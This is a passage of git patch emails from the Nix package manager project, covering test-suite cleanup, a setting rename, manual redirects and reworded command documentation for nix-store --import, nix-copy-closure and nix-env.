-
-# Installing "foo" should only install the newest foo.
-nix-env -i foo
-test "$(nix-env -q '*' | grep foo- | wc -l)" -eq 1
-nix-env -q '*' | grepQuiet foo-2.0
-
-# On the other hand, this should install both (and should fail due to
-# a collision).
-nix-env -e '*'
-(! nix-env -i foo-1.0 foo-2.0)
-
-# Installing "*" should install one foo and one bar.
-nix-env -e '*'
-nix-env -i '*'
-test "$(nix-env -q '*' | wc -l)" -eq 2
-nix-env -q '*' | grepQuiet foo-2.0
-nix-env -q '*' | grepQuiet bar-0.1.1
-
-# Test priorities: foo-0.1 has a lower priority than foo-1.0, so it
-# should be possible to install both without a collision.  Also test
-# ‘--set-flag priority’ to manually override the declared priorities.
-nix-env -e '*'
-nix-env -i foo-0.1 foo-1.0
-[ "$($profiles/test/bin/foo)" = "foo-1.0" ]
-nix-env --set-flag priority 1 foo-0.1
-[ "$($profiles/test/bin/foo)" = "foo-0.1" ]
-
-# Test nix-env --set.
-nix-env --set $outPath10
-[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ]
-nix-env --set $drvPath10
-[ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ]
-
-# Test the case where $HOME contains a symlink.
-mkdir -p $TEST_ROOT/real-home/alice/.nix-defexpr/channels
-ln -sfn $TEST_ROOT/real-home $TEST_ROOT/home
-ln -sfn $(pwd)/user-envs.nix $TEST_ROOT/home/alice/.nix-defexpr/channels/foo
-HOME=$TEST_ROOT/home/alice nix-env -i foo-0.1
+source ./user-envs-test-case.sh

From 7822ecbadff47fe350a483969e1e307c1c3a3ebe Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Mon, 13 May 2024 14:56:14 +0200
Subject: [PATCH 126/528] tests: always clean the test directory

previously the test directory could have been left untouched before executing
a test when `init.sh` was not run - and sometimes it isn't
supposed to be run - which made the test suite highly stateful and thus
behaving surprisingly on multiple runs.
---
 tests/functional/common/init.sh | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh
index 9d85dba17d4..017179952f1 100755
--- a/tests/functional/common/init.sh
+++ b/tests/functional/common/init.sh
@@ -1,10 +1,8 @@
 test -n "$TEST_ROOT"
-if test -d "$TEST_ROOT"; then
-    chmod -R u+rw "$TEST_ROOT"
-    # We would delete any daemon socket, so let's stop the daemon first.
-    killDaemon
-    rm -rf "$TEST_ROOT"
-fi
+# We would delete any daemon socket, so let's stop the daemon first.
+killDaemon
+# Destroy the test directory that may have persisted from previous runs
+rm -rf "$TEST_ROOT"
 mkdir -p "$TEST_ROOT"
 mkdir "$TEST_HOME"
 

From e1e041ed8f99aaff993f0e94bdb64c2f620d100c Mon Sep 17 00:00:00 2001
From: Graham Christensen <graham@grahamc.com>
Date: Mon, 13 May 2024 09:23:59 -0400
Subject: [PATCH 127/528] Rename commit-lockfile-summary to
 commit-lock-file-summary for consistency

---
 src/libexpr/flake/config.cc       | 2 +-
 src/libfetchers/fetch-settings.hh | 4 ++--
 src/nix/flake.md                  | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/src/libexpr/flake/config.cc b/src/libexpr/flake/config.cc
index 3c7ed5d8a5b..e0c5d45121d 100644
--- a/src/libexpr/flake/config.cc
+++ b/src/libexpr/flake/config.cc
@@ -32,7 +32,7 @@ static void writeTrustedList(const TrustedList & trustedList)
 
 void ConfigFile::apply()
 {
-    std::set<std::string> whitelist{"bash-prompt", "bash-prompt-prefix", "bash-prompt-suffix", "flake-registry", "commit-lockfile-summary"};
+    std::set<std::string> whitelist{"bash-prompt", "bash-prompt-prefix", "bash-prompt-suffix", "flake-registry", "commit-lock-file-summary", "commit-lockfile-summary"};
 
     for (auto & [name, value] : settings) {
 
diff --git a/src/libfetchers/fetch-settings.hh b/src/libfetchers/fetch-settings.hh
index d085f0d8277..50cd4d161be 100644
--- a/src/libfetchers/fetch-settings.hh
+++ b/src/libfetchers/fetch-settings.hh
@@ -87,12 +87,12 @@ struct FetchSettings : public Config
         {}, true, Xp::Flakes};
 
     Setting<std::string> commitLockFileSummary{
-        this, "", "commit-lockfile-summary",
+        this, "", "commit-lock-file-summary",
         R"(
           The commit summary to use when committing changed flake lock files. If
           empty, the summary is generated based on the action performed.
         )",
-        {}, true, Xp::Flakes};
+        {"commit-lockfile-summary"}, true, Xp::Flakes};
 
     Setting<bool> trustTarballsFromGitForges{
         this, true, "trust-tarballs-from-git-forges",
diff --git a/src/nix/flake.md b/src/nix/flake.md
index d8b5bf435f1..661dd2f7333 100644
--- a/src/nix/flake.md
+++ b/src/nix/flake.md
@@ -439,7 +439,7 @@ The following attributes are supported in `flake.nix`:
    - [`bash-prompt-prefix`](@docroot@/command-ref/conf-file.md#conf-bash-prompt-prefix)
    - [`bash-prompt-suffix`](@docroot@/command-ref/conf-file.md#conf-bash-prompt-suffix)
    - [`flake-registry`](@docroot@/command-ref/conf-file.md#conf-flake-registry)
-   - [`commit-lockfile-summary`](@docroot@/command-ref/conf-file.md#conf-commit-lockfile-summary)
+   - [`commit-lock-file-summary`](@docroot@/command-ref/conf-file.md#conf-commit-lock-file-summary)
 
 ## Flake inputs
 

From 9a58d90c73ed9cc90b0b79c2946f0e2601b6cd54 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 14 May 2024 14:27:09 +0200
Subject: [PATCH 128/528] tests/nixos/containers/containers.nix: Remove
 superfluous -v

---
 tests/nixos/containers/containers.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/tests/nixos/containers/containers.nix b/tests/nixos/containers/containers.nix
index c8ee78a4a58..6773f5628a3 100644
--- a/tests/nixos/containers/containers.nix
+++ b/tests/nixos/containers/containers.nix
@@ -33,30 +33,30 @@
     # Test that 'id' gives the expected result in various configurations.
 
     # Existing UIDs, sandbox.
-    host.succeed("nix build -v --no-auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-1")
+    host.succeed("nix build --no-auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-1")
     host.succeed("[[ $(cat ./result) = 'uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)' ]]")
 
     # Existing UIDs, no sandbox.
-    host.succeed("nix build -v --no-auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-2")
+    host.succeed("nix build --no-auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-2")
     host.succeed("[[ $(cat ./result) = 'uid=30001(nixbld1) gid=30000(nixbld) groups=30000(nixbld)' ]]")
 
     # Auto-allocated UIDs, sandbox.
-    host.succeed("nix build -v --auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-3")
+    host.succeed("nix build --auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-3")
     host.succeed("[[ $(cat ./result) = 'uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)' ]]")
 
     # Auto-allocated UIDs, no sandbox.
-    host.succeed("nix build -v --auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-4")
+    host.succeed("nix build --auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-4")
     host.succeed("[[ $(cat ./result) = 'uid=872415232 gid=30000(nixbld) groups=30000(nixbld)' ]]")
 
     # Auto-allocated UIDs, UID range, sandbox.
-    host.succeed("nix build -v --auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-5 --arg uidRange true")
+    host.succeed("nix build --auto-allocate-uids --sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-5 --arg uidRange true")
     host.succeed("[[ $(cat ./result) = 'uid=0(root) gid=0(root) groups=0(root)' ]]")
 
     # Auto-allocated UIDs, UID range, no sandbox.
-    host.fail("nix build -v --auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-6 --arg uidRange true")
+    host.fail("nix build --auto-allocate-uids --no-sandbox -L --offline --impure --file ${./id-test.nix} --argstr name id-test-6 --arg uidRange true")
 
     # Run systemd-nspawn in a Nix build.
-    host.succeed("nix build -v --auto-allocate-uids --sandbox -L --offline --impure --file ${./systemd-nspawn.nix} --argstr nixpkgs ${nixpkgs}")
+    host.succeed("nix build --auto-allocate-uids --sandbox -L --offline --impure --file ${./systemd-nspawn.nix} --argstr nixpkgs ${nixpkgs}")
     host.succeed("[[ $(cat ./result/msg) = 'Hello World' ]]")
   '';
 

From 1da18e85baa273835c2b0f727374e010f6fd2e89 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 14 May 2024 16:23:08 +0200
Subject: [PATCH 129/528] tests/functional/common/init.sh: Make $TEST_ROOT
 writable before removing it

$TEST_ROOT typically contains read-only files/directories (e.g. the
Nix store). So we have to make it writable first.
---
 tests/functional/common/init.sh | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh
index 017179952f1..74da126517a 100755
--- a/tests/functional/common/init.sh
+++ b/tests/functional/common/init.sh
@@ -2,7 +2,10 @@ test -n "$TEST_ROOT"
 # We would delete any daemon socket, so let's stop the daemon first.
 killDaemon
 # Destroy the test directory that may have persisted from previous runs
-rm -rf "$TEST_ROOT"
+if [[ -e "$TEST_ROOT" ]]; then
+    chmod -R u+w "$TEST_ROOT"
+    rm -rf "$TEST_ROOT"
+fi
 mkdir -p "$TEST_ROOT"
 mkdir "$TEST_HOME"
 

From 2f0031aedc4ae254010fe07a5b4452e3fb081b12 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Tue, 14 May 2024 21:23:29 +0200
Subject: [PATCH 130/528] Revert "manual: fold sidebar sections" (#10698)

The original change arguably reduced ergonomics of navigation, since menu items weren't ctrl+f searchable any more.
---
 doc/manual/book.toml | 2 --
 1 file changed, 2 deletions(-)

diff --git a/doc/manual/book.toml b/doc/manual/book.toml
index d524dbb1309..73fb7e75e24 100644
--- a/doc/manual/book.toml
+++ b/doc/manual/book.toml
@@ -6,8 +6,6 @@ additional-css = ["custom.css"]
 additional-js = ["redirects.js"]
 edit-url-template = "https://github.com/NixOS/nix/tree/master/doc/manual/{path}"
 git-repository-url = "https://github.com/NixOS/nix"
-fold.enable = true
-fold.level = 1
 
 [preprocessor.anchors]
 renderers = ["html"]

From 05ad4e8806a13fb475250472a0bf677f94cee641 Mon Sep 17 00:00:00 2001
From: Eli Flanagan <163922304+eflanagan0@users.noreply.github.com>
Date: Tue, 14 May 2024 16:38:54 -0400
Subject: [PATCH 131/528] doc: convention improvements for copying closure
 (#10702)

* doc: convention improvements for copying closure

   use -P, which only considers executables but not shell builtins

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 doc/manual/src/command-ref/nix-copy-closure.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md
index eb1693e1e83..46d381f5d62 100644
--- a/doc/manual/src/command-ref/nix-copy-closure.md
+++ b/doc/manual/src/command-ref/nix-copy-closure.md
@@ -78,14 +78,14 @@ authentication, you can avoid typing the passphrase with `ssh-agent`.
 Copy Firefox with all its dependencies to a remote machine:
 
 ```console
-$ nix-copy-closure --to alice@itchy.labs $(type -tP firefox)
+$ nix-copy-closure --to alice@itchy.example.org $(type -P firefox)
 ```
 
 Copy Subversion from a remote machine and then install it into a user
 environment:
 
 ```console
-$ nix-copy-closure --from alice@itchy.labs \
+$ nix-copy-closure --from alice@itchy.example.org \
     /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4
 $ nix-env --install /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4
 ```

From 49bd408c10ed8c9e8f5d8f54b27d1027f989da84 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Tue, 14 May 2024 23:18:40 +0200
Subject: [PATCH 132/528] remove link to relocated manual page (#10703)

fix old anchor redirects to point to the correct location
---
 doc/manual/redirects.js      | 8 ++++----
 doc/manual/src/SUMMARY.md.in | 1 -
 2 files changed, 4 insertions(+), 5 deletions(-)

diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js
index 25648969d1c..ec5645ea7c2 100644
--- a/doc/manual/redirects.js
+++ b/doc/manual/redirects.js
@@ -290,10 +290,10 @@ const redirects = {
     "ssec-gc-roots": "package-management/garbage-collector-roots.html",
     "chap-package-management": "package-management/index.html",
     "sec-profiles": "package-management/profiles.html",
-    "ssec-s3-substituter": "package-management/s3-substituter.html",
-    "ssec-s3-substituter-anonymous-reads": "package-management/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
-    "ssec-s3-substituter-authenticated-reads": "package-management/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
-    "ssec-s3-substituter-authenticated-writes": "package-management/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
+    "ssec-s3-substituter": "store/types/s3-substituter.html",
+    "ssec-s3-substituter-anonymous-reads": "store/types/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache",
+    "ssec-s3-substituter-authenticated-reads": "store/types/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache",
+    "ssec-s3-substituter-authenticated-writes": "store/types/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache",
     "sec-sharing-packages": "package-management/sharing-packages.html",
     "ssec-ssh-substituter": "package-management/ssh-substituter.html",
     "chap-quick-start": "quick-start.html",
diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index fdfd0a92722..7f0fb2e9d93 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -43,7 +43,6 @@
     - [Serving a Nix store via HTTP](package-management/binary-cache-substituter.md)
     - [Copying Closures via SSH](package-management/copy-closure.md)
     - [Serving a Nix store via SSH](package-management/ssh-substituter.md)
-    - [Serving a Nix store via S3](package-management/s3-substituter.md)
   - [Remote Builds](advanced-topics/distributed-builds.md)
   - [Tuning Cores and Jobs](advanced-topics/cores-vs-jobs.md)
   - [Verifying Build Reproducibility](advanced-topics/diff-hook.md)

From dcc2a51bacaf7152ee86b524044e87738f71614e Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Wed, 15 May 2024 01:11:14 +0200
Subject: [PATCH 133/528] add example to `nix-store --import`

this also features specifying `--store` to give more pointers for
discoverability
---
 doc/manual/src/command-ref/nix-store/import.md | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/doc/manual/src/command-ref/nix-store/import.md b/doc/manual/src/command-ref/nix-store/import.md
index 2711316a7d6..da28619f43c 100644
--- a/doc/manual/src/command-ref/nix-store/import.md
+++ b/doc/manual/src/command-ref/nix-store/import.md
@@ -19,3 +19,21 @@ Nix store, the import fails.
 {{#include ../opt-common.md}}
 
 {{#include ../env-common.md}}
+
+# Examples
+
+> **Example**
+>
+> Given a closure of GNU Hello as a file:
+>
+> ```shell-session
+> $ storePath="$(nix-build '<nixpkgs>' -I nixpkgs=channel:nixpkgs-unstable -A hello --no-out-link)"
+> $ nix-store --export $(nix-store --query --requisites $storePath) > hello.closure
+> ```
+>
+> Import the closure into a [remote SSH store](@docroot@/store/types/ssh-store.md) using the [`--store`](@docroot@/command-ref/conf-file.md#conf-store) option:
+>
+> ```console
+> $ nix-store --import --store ssh://alice@itchy.example.org < hello.closure
+> ```
+

From 7c7aa79ebe69086ac7e2f30bde4af9490b55afd7 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Wed, 15 May 2024 01:29:10 +0200
Subject: [PATCH 134/528] redirect "Copying Closures via SSH" guide to
 `nix-copy-closure`

the individual commands' documentation should provide enough examples to
make sense of the options and judge what to use and when. proper guides,
which would require a more elaborate setup to show off Nix's
capabilities are out of scope for the reference manual.
---
 doc/manual/redirects.js                       |  2 +-
 doc/manual/src/SUMMARY.md.in                  |  1 -
 doc/manual/src/_redirects                     |  2 ++
 .../src/package-management/copy-closure.md    | 34 -------------------
 4 files changed, 3 insertions(+), 36 deletions(-)
 delete mode 100644 doc/manual/src/package-management/copy-closure.md

diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js
index 25648969d1c..9d885e60219 100644
--- a/doc/manual/redirects.js
+++ b/doc/manual/redirects.js
@@ -285,7 +285,7 @@ const redirects = {
     "ch-basic-package-mgmt": "package-management/basic-package-mgmt.html",
     "ssec-binary-cache-substituter": "package-management/binary-cache-substituter.html",
     "sec-channels": "command-ref/nix-channel.html",
-    "ssec-copy-closure": "package-management/copy-closure.html",
+    "ssec-copy-closure": "command-ref/nix-copy-closure.html",
     "sec-garbage-collection": "package-management/garbage-collection.html",
     "ssec-gc-roots": "package-management/garbage-collector-roots.html",
     "chap-package-management": "package-management/index.html",
diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index fdfd0a92722..e0ba9ccc8e0 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -41,7 +41,6 @@
 - [Advanced Topics](advanced-topics/index.md)
   - [Sharing Packages Between Machines](package-management/sharing-packages.md)
     - [Serving a Nix store via HTTP](package-management/binary-cache-substituter.md)
-    - [Copying Closures via SSH](package-management/copy-closure.md)
     - [Serving a Nix store via SSH](package-management/ssh-substituter.md)
     - [Serving a Nix store via S3](package-management/s3-substituter.md)
   - [Remote Builds](advanced-topics/distributed-builds.md)
diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects
index 8bf0e854b26..a04a36f1e17 100644
--- a/doc/manual/src/_redirects
+++ b/doc/manual/src/_redirects
@@ -39,3 +39,5 @@
 /json/* /protocols/json/:splat 301!
 
 /release-notes/release-notes /release-notes 301!
+
+/package-management/copy-closure /command-ref/nix-copy-closure 301!
diff --git a/doc/manual/src/package-management/copy-closure.md b/doc/manual/src/package-management/copy-closure.md
deleted file mode 100644
index 14326298bea..00000000000
--- a/doc/manual/src/package-management/copy-closure.md
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copying Closures via SSH
-
-The command `nix-copy-closure` copies a Nix store path along with all
-its dependencies to or from another machine via the SSH protocol. It
-doesn’t copy store paths that are already present on the target machine.
-For example, the following command copies Firefox with all its
-dependencies:
-
-    $ nix-copy-closure --to alice@itchy.example.org $(type -p firefox)
-
-See the [manpage for `nix-copy-closure`](../command-ref/nix-copy-closure.md) for details.
-
-With `nix-store
---export` and `nix-store --import` you can write the closure of a store
-path (that is, the path and all its dependencies) to a file, and then
-unpack that file into another Nix store. For example,
-
-    $ nix-store --export $(nix-store --query --requisites $(type -p firefox)) > firefox.closure
-
-writes the closure of Firefox to a file. You can then copy this file to
-another machine and install the closure:
-
-    $ nix-store --import < firefox.closure
-
-Any store paths in the closure that are already present in the target
-store are ignored. It is also possible to pipe the export into another
-command, e.g. to copy and install a closure directly to/on another
-machine:
-
-    $ nix-store --export $(nix-store --query --requisites $(type -p firefox)) | bzip2 | \
-        ssh alice@itchy.example.org "bunzip2 | nix-store --import"
-
-However, `nix-copy-closure` is generally more efficient because it only
-copies paths that are not already present in the target Nix store.

From 0c2c26018034b467b7b33d20e6d209bf9dbd0e24 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Wed, 15 May 2024 01:40:25 +0200
Subject: [PATCH 135/528] labeler: capture all docs files

---
 .github/labeler.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/labeler.yml b/.github/labeler.yml
index e036eb3c844..0e6fd3e2677 100644
--- a/.github/labeler.yml
+++ b/.github/labeler.yml
@@ -13,7 +13,7 @@
 
 "documentation":
   - changed-files:
-    - any-glob-to-any-file: "doc/manual/*"
+    - any-glob-to-any-file: "doc/manual/**/*"
     - any-glob-to-any-file: "src/nix/**/*.md"
 
 "store":
@@ -40,4 +40,4 @@
     - any-glob-to-any-file: "src/*/tests/**/*"
     # Functional and integration tests
     - any-glob-to-any-file: "tests/functional/**/*"
-    
+

From 6907eaad4f87350b09d844434532428e97d22943 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Wed, 15 May 2024 01:21:45 +0200
Subject: [PATCH 136/528] reword documentation on `nix-store --import`

- add links to definitions of terms
- one sentence per line
- be more specific about which store is used for the import
- clearly distinguish store paths and store objects
- make a recommendation to use `nix-copy-closure` for efficient SSH transfers
---
 doc/manual/src/command-ref/nix-store/import.md | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-store/import.md b/doc/manual/src/command-ref/nix-store/import.md
index 2711316a7d6..0ecde177c90 100644
--- a/doc/manual/src/command-ref/nix-store/import.md
+++ b/doc/manual/src/command-ref/nix-store/import.md
@@ -8,11 +8,13 @@
 
 # Description
 
-The operation `--import` reads a serialisation of a set of store paths
-produced by `nix-store --export` from standard input and adds those
-store paths to the Nix store. Paths that already exist in the Nix store
-are ignored. If a path refers to another path that doesn’t exist in the
-Nix store, the import fails.
+The operation `--import` reads a serialisation of a set of [store objects](@docroot@/glossary.md#gloss-store-object) produced by [`nix-store --export`](./export.md) from standard input, and adds those store objects to the specified [Nix store](@docroot@/store/index.md).
+Paths that already exist in the target Nix store are ignored.
+If a path [refers](@docroot@/glossary.md#gloss-reference) to another path that doesn’t exist in the target Nix store, the import fails.
+
+> **Note**
+>
+> For efficient transfer of closures to remote machines over SSH, use [`nix-copy-closure`](@docroot@/command-ref/nix-copy-closure.md).
 
 {{#include ./opt-common.md}}
 

From 06e13465c55a046d22791942680166f048d11f94 Mon Sep 17 00:00:00 2001
From: Cole Helbling <cole.e.helbling@outlook.com>
Date: Tue, 14 May 2024 12:13:14 -0700
Subject: [PATCH 137/528] tests/functional: test both clis warn on unknown
 settings

---
 tests/functional/eval.sh | 4 ++++
 tests/functional/misc.sh | 9 +++++++++
 2 files changed, 13 insertions(+)

diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh
index c6a475cd090..502170d14db 100644
--- a/tests/functional/eval.sh
+++ b/tests/functional/eval.sh
@@ -52,3 +52,7 @@ fi
 
 # Test --arg-from-stdin.
 [[ "$(echo bla | nix eval --raw --arg-from-stdin foo --expr '{ foo }: { inherit foo; }' foo)" = bla ]]
+
+# Test that unknown settings are warned about
+out="$(expectStderr 0 nix eval --option foobar baz --expr '""' --raw)"
+[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]]
diff --git a/tests/functional/misc.sh b/tests/functional/misc.sh
index af96d20bd4a..d4379b7ce7b 100644
--- a/tests/functional/misc.sh
+++ b/tests/functional/misc.sh
@@ -30,3 +30,12 @@ expectStderr 1 nix-instantiate --eval -E '[]' -A 'x' | grepQuiet "should be a se
 expectStderr 1 nix-instantiate --eval -E '{}' -A '1' | grepQuiet "should be a list"
 expectStderr 1 nix-instantiate --eval -E '{}' -A '.' | grepQuiet "empty attribute name"
 expectStderr 1 nix-instantiate --eval -E '[]' -A '1' | grepQuiet "out of range"
+
+# Unknown setting warning
+# NOTE(cole-h): behavior is different depending on the order, which is why we test an unknown option
+# before and after the `'{}'`!
+out="$(expectStderr 0 nix-instantiate --option foobar baz --expr '{}')"
+[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]]
+
+out="$(expectStderr 0 nix-instantiate '{}' --option foobar baz --expr )"
+[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]]

From 39a269657e766aaa6d6c678f95362a566173e547 Mon Sep 17 00:00:00 2001
From: Cole Helbling <cole.e.helbling@outlook.com>
Date: Tue, 14 May 2024 12:13:40 -0700
Subject: [PATCH 138/528] libutil/args: warn on unknown settings after parsing
 all flags

---
 doc/manual/rl-next/fix-silent-unknown-options | 28 +++++++++++++++++++
 src/libutil/args.cc                           |  9 +-----
 2 files changed, 29 insertions(+), 8 deletions(-)
 create mode 100644 doc/manual/rl-next/fix-silent-unknown-options

diff --git a/doc/manual/rl-next/fix-silent-unknown-options b/doc/manual/rl-next/fix-silent-unknown-options
new file mode 100644
index 00000000000..0977260ac8d
--- /dev/null
+++ b/doc/manual/rl-next/fix-silent-unknown-options
@@ -0,0 +1,28 @@
+---
+synopsis: Warn on unknown settings anywhere in the command line
+prs: 10701
+---
+
+All `nix` commands will now properly warn when an unknown option is specified anywhere in the command line.
+
+Before:
+
+```console
+$ nix-instantiate --option foobar baz --expr '{}'
+warning: unknown setting 'foobar'
+$ nix-instantiate '{}' --option foobar baz --expr
+$ nix eval --expr '{}' --option foobar baz
+{ }
+```
+
+After:
+
+```console
+$ nix-instantiate --option foobar baz --expr '{}'
+warning: unknown setting 'foobar'
+$ nix-instantiate '{}' --option foobar baz --expr
+warning: unknown setting 'foobar'
+$ nix eval --expr '{}' --option foobar baz
+warning: unknown setting 'foobar'
+{ }
+```
diff --git a/src/libutil/args.cc b/src/libutil/args.cc
index 243e3a5a620..c202facdfea 100644
--- a/src/libutil/args.cc
+++ b/src/libutil/args.cc
@@ -268,8 +268,6 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang)
         verbosity = lvlError;
     }
 
-    bool argsSeen = false;
-
     // Heuristic to see if we're invoked as a shebang script, namely,
     // if we have at least one argument, it's the name of an
     // executable file, and it starts with "#!".
@@ -336,10 +334,6 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang)
                 throw UsageError("unrecognised flag '%1%'", arg);
         }
         else {
-            if (!argsSeen) {
-                argsSeen = true;
-                initialFlagsProcessed();
-            }
             pos = rewriteArgs(cmdline, pos);
             pendingArgs.push_back(*pos++);
             if (processArgs(pendingArgs, false))
@@ -349,8 +343,7 @@ void RootArgs::parseCmdline(const Strings & _cmdline, bool allowShebang)
 
     processArgs(pendingArgs, true);
 
-    if (!argsSeen)
-        initialFlagsProcessed();
+    initialFlagsProcessed();
 
     /* Now that we are done parsing, make sure that any experimental
      * feature required by the flags is enabled */

From 50bbe22a51cec73f5b3b6eff9386f1c70ed10191 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Daniel=20Ram=C3=ADrez?= <wamirez@protonmail.com>
Date: Wed, 15 May 2024 15:42:14 -0400
Subject: [PATCH 139/528] reword `nix-env` documentation (#10718)

* reword `nix-env` documentation

- added links
- added an overview of package sources
- clarified parsing and matching of package names

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 doc/manual/src/command-ref/nix-env.md         | 106 +++++++++++++-----
 doc/manual/src/command-ref/nix-env/install.md |   3 +-
 2 files changed, 76 insertions(+), 33 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-env.md b/doc/manual/src/command-ref/nix-env.md
index 94172321609..c6f627365a5 100644
--- a/doc/manual/src/command-ref/nix-env.md
+++ b/doc/manual/src/command-ref/nix-env.md
@@ -47,39 +47,83 @@ These pages can be viewed offline:
 
   Example: `nix-env --help --install`
 
+# Package sources
+
+`nix-env` can obtain packages from multiple sources:
+
+- An attribute set of derivations from:
+  - The [default Nix expression](@docroot@/command-ref/files/default-nix-expression.md) (by default)
+  - A Nix file, specified via `--file`
+  - A [profile](@docroot@/command-ref/files/profiles.md), specified via `--from-profile`
+  - A Nix expression that is a function which takes default expression as argument, specified via `--from-expression`
+- A [store path](@docroot@/store/store-path.md)
+
 # Selectors
 
-Several commands, such as `nix-env --query ` and `nix-env --install `, take a list of
-arguments that specify the packages on which to operate. These are
-extended regular expressions that must match the entire name of the
-package. (For details on regular expressions, see **regex**(7).) The match is
-case-sensitive. The regular expression can optionally be followed by a
-dash and a version number; if omitted, any version of the package will
-match. Here are some examples:
-
-  - `firefox`\
-    Matches the package name `firefox` and any version.
-
-  - `firefox-32.0`\
-    Matches the package name `firefox` and version `32.0`.
-
-  - `gtk\\+`\
-    Matches the package name `gtk+`. The `+` character must be escaped
-    using a backslash to prevent it from being interpreted as a
-    quantifier, and the backslash must be escaped in turn with another
-    backslash to ensure that the shell passes it on.
-
-  - `.\*`\
-    Matches any package name. This is the default for most commands.
-
-  - `'.*zip.*'`\
-    Matches any package name containing the string `zip`. Note the dots:
-    `'*zip*'` does not work, because in a regular expression, the
-    character `*` is interpreted as a quantifier.
-
-  - `'.*(firefox|chromium).*'`\
-    Matches any package name containing the strings `firefox` or
-    `chromium`.
+Several operations, such as [`nix-env --query`](./nix-env/query.md) and [`nix-env --install`](./nix-env/install.md), take a list of *arguments* that specify the packages on which to operate.
+
+Packages are identified based on a `name` part and a `version` part of a [symbolic derivation name](@docroot@/language/derivations.md#attr-names):
+
+- `name`: Everything up to but not including the first dash (`-`) that is *not* followed by a letter.
+- `version`: The rest, excluding the separating dash.
+
+> **Example**
+>
+> `nix-env` parses the symbolic derivation name `apache-httpd-2.0.48` as:
+>
+> ```json
+> {
+>   "name": "apache-httpd",
+>   "version": "2.0.48"
+> }
+> ```
+
+> **Example**
+>
+> `nix-env` parses the symbolic derivation name `firefox.*` as:
+>
+> ```json
+> {
+>   "name": "firefox.*",
+>   "version": ""
+> }
+> ```
+
+The `name` parts of the *arguments* to `nix-env` are treated as extended regular expressions and matched against the `name` parts of derivation names in the package source.
+The match is case-sensitive.
+The regular expression can optionally be followed by a dash (`-`) and a version number; if omitted, any version of the package will match.
+For details on regular expressions, see [**regex**(7)](https://linux.die.net/man/7/regex).
+
+> **Example**
+>
+> Common patterns for finding package names with `nix-env`:
+>
